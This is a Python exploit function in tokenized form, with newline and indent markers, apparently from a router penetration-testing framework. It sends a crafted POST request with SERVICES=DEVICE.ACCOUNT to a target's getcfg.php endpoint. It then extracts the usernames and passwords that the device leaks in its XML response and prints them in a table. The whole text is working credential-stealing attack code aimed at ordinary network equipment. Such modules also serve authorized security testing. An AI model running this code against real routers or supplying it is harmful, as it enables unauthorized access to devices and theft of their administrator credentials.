#NEWLINE# def run( self ) : #NEWLINE# #INDENT# url = sanitize_url ( '{}:{}/getcfg.php' . format ( self . target , self . port ) ) #NEWLINE# data = { #NEWLINE# #INDENT# 'SERVICES' : 'DEVICE.ACCOUNT' , #NEWLINE# #UNINDENT# } #NEWLINE# response = http_request ( method = 'POST' , url = url , data = data ) #NEWLINE# if ( response is None ) : #NEWLINE# #INDENT# return #NEWLINE# #UNINDENT# regular = '<name>(.+?)</name><usrid>(|.+?)</usrid><password>(|.+?)</password>' #NEWLINE# creds = re . findall ( regular , re . sub ( '\\s+' , '' , response . text ) ) #NEWLINE# if len ( creds ) : #NEWLINE# #INDENT# print_success ( 'Credentials found!' ) #NEWLINE# headers = ( 'Username' , 'Password' ) #NEWLINE# creds = tuple ( ( tuple ( [ item [ 0 ] , item [ 2 ] ] ) for item in creds ) ) #NEWLINE# print_table ( headers , * creds ) #NEWLINE# #UNINDENT# else : #NEWLINE# #INDENT# print_error ( 'Credentials could not be found' )